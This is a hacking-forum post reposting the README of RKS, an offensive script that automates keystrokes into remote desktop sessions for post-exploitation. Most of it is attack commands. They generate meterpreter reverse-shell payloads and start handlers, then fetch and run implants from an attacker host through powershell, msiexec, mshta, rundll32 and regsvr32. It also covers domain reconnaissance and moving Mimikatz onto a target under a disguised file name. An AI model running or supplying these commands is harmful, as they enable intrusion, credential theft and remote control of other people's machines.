# RKS | A Script To Automate Keystrokes Through A Graphical Desktop Program **URL:** \ **Category:** Tools & Scripts\ **Tags:** networking, technology\ **Created:** [March 8, 2024, 12:40am UTC](https://onehack.st/t/rks-a-script-to-automate-keystrokes-through-a-graphical-desktop-program/277220 "2024-03-08T00:40:25Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\ **Post date:** [March 8, 2024, 12:40am UTC](https://onehack.st/t/rks-a-script-to-automate-keystrokes-through-a-graphical-desktop-program/277220/1 "2024-03-08T00:40:26Z")
![image](https://onehack.st/uploads/default/original/3X/3/a/3a26b43795f171a2a169aff75498de8e0b5220f2.jpeg) # Description ## Introduction A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques. ## About RKS (RemoteKeyStrokes) All credits goes to [nopernik](https://github.com/nopernik) for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop. ## Features - Executing commands - File Transfer - Execute C# Implant (Coming soon) - Privilege Escalation (Coming soon) - Persistence (Coming soon) - Anti-Forensics (Coming soon) ## Dependencies - Debian-based distros. `$ sudo apt install -y xfreerdp-x11 xtightvncviewer xdotool` ## Help Menu ```auto $ ./rks.sh -h Usage: ./rks.sh (RemoteKeyStrokes) Options: -c, --command Specify a command or a file containing to execute -i, --input Specify the local input file to transfer -o, --output Specify the remote output file to transfer -p, --platform Specify the operating system (windows is set by default if not specified) -m, --method Specify the file transfer or execution method (For file transfer "pwshb64" is set by default if not specified. For command execution method "none" is set by default if not specified) -w, --windowname Specify the window name for graphical remote program (freerdp is set by default if not specified) -h, --help Display this help message ``` ## Usage ### 0x00 - Remote Authentication #### RDP - To authenticate modern operating systems specify the flag either to force authentication as TLS `/sec:tls` or authentication as NLA `/sec:nla`. ```auto $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec: [/d:""] /u:"" /p:"" /v::[] ``` - To authenticate legacy operating systems specify the flag `/sec:rdp` to force old authentication. ```auto $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:""] /u:"" /p:"" /v::[] ``` #### VNC - To remotely authenticate a VNC machine. `$ vncviewer -passwd password.txt ::` ### 0x01 - Internal Reconnaissance - When running in command prompt ```auto $ cat recon_cmds.txt whoami /all net user net localgroup Administrators net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain $ ./rks.sh -c "cmd.exe" -m dialogbox $ ./rks.h -c recon_cmds.txt ``` - To execute a single command ```auto $ ./rks.sh -c "cmd.exe" -m dialogbox $ ./rks.sh -c "systeminfo" ``` ### 0x02 - Execute Implant #### Windows - Execute an implant while reading the contents of the payload in powershell. ```auto $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o implant.ps1 $ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; exploit" $ ./rks.sh -c "powershell.exe" -m dialogbox $ ./rks.sh -c implant.ps1 ``` - Execute an powershell oneliner implant using `metasploit-framework` exploit module `exploit/multi/script/web_delivery`. ```auto $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost ; set srvport ; set uripath implant; exploit" $ ./rks.sh -c "cmd.exe" -m dialogbox $ ./rks.sh -c "powershell.exe -nop -w hidden -e " ``` - Execute an implant with `msiexec.exe` while hosting a webserver. ```auto $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o implant.msi $ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; exploit" $ sudo python -m http.server 80 $ ./rks.sh -c "msiexec /quiet /qn /i http:///implant.msi" -m dialogbox ``` - Execute an implant with `mshta.exe` using `metasploit-framework` exploit module `exploit/windows/misc/hta_server`. ```auto $ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost ; set srvhost ; set srvport exploit" $ ./rks.sh -c "mshta.exe http://:/implant.hta" -m dialogbox ``` - Execute an implant with `rundll32.exe` using `metasploit-framework` exploit module `exploit/windows/smb/smb_delivery`. ```auto $ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost ; set file_name implant.dll; set share data; exploit" $ ./rks.sh -c "rundll32.exe \\\data\implant.dll,0" -m dialogbox ``` - Execute an implant with `regsvr32.exe` using `metasploit-framework` exploit module `exploit/multi/script/web_delivery`. ```auto $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost ; set srvport ; set uripath implant; exploit" $ ./rks.sh -c "regsvr32 /s /n /u /i://http://:/implant.sct scrobj.dll" -m dialogbox ``` - MSBuild Coming soon #### Unix TODO: Fill the missing info ```auto $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost ; set srvport ; set uripath implant; exploit" $ ./rks.sh -c "python -c \"\"" ``` ### 0x03 - File Transfer - Transfer a file remotely when pivoting in a isolated network. If you want to specify the remote path on windows be sure to include quotes. By default it uses Powershell base64 to transfer files if not specified. ```auto $ ./rks.sh -c "powershell.exe" -m dialogbox $ ./rks.sh -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64 [*] Transferring file... [+] File transferred! ``` - To transfer droppers you can use certutil base64 especially if it’s large. Keep in mind it’ll take time depending the size of the file. `$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o implant.exe` - For powershell. ```auto $ ./rks.sh -c "powershell.exe" -m dialogbox $ ./rks.sh -i implant.exe -o implant.exe -m pwshcertutil ``` - For command prompt. ```auto $ ./rks.sh -c "cmd.exe" -m dialogbox $ ./rks.sh -i implant.exe -o implant.exe -m cmdb64 ``` - Activate your C2 listener and execute the implant ```auto $ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost ; set lport 4444; exploit" $ ./rks.sh -c ".\implant.exe" ``` ### 0x04 - Privilege Escalation TODO: Fill this info after the feature has been implemented ### 0x05 - Persistence TODO: Fill this info after the feature has been implemented ### 0x06 - Defense Evasion TODO: Fill this info after the feature has been implemented ### 0x07 - Specify Grapical Remote Software - If you’re targeting VNC network protocols you can specify the window name with `tightvnc`. `$ ./rks.sh -i implant.ps1 -w tightvnc` ### 0x08 - FAQ TODO: Fill this info ## TODO and Help Wanted - Split into characters to surpass xdotool limitation for `pwshb64` method. - Implement Bin2Hex file transfer - Implement encryption method of base64 - Implement a persistence function for both windows and linux. - Implement antiforensics function for both windows and linux. - Implement to read shellcode input and run C# implant and powershell runspace - Implement privesc function for both windows and linux ## References - [Video: sethc.exe Backdoor CMD Payload delivery (USB Rubber Ducky style)](https://www.youtube.com/watch?v=8YFEujJUxws) - [Original Script](https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh) - [sticky\_keys\_hunter](https://github.com/ztgrace/sticky_keys_hunter) ## Credits - [nopernik](https://github.com/nopernik) ## Disclaimer - It is your responsibility depending on whatever the cause of your actions user. Remember that with great power comes with great responsibility. ## GitHub: > **[GitHub - U53RW4R3/RemoteKeyStrokes: A script to automate keystrokes through a...](https://github.com/U53RW4R3/RemoteKeyStrokes)** > > A script to automate keystrokes through a graphical desktop program.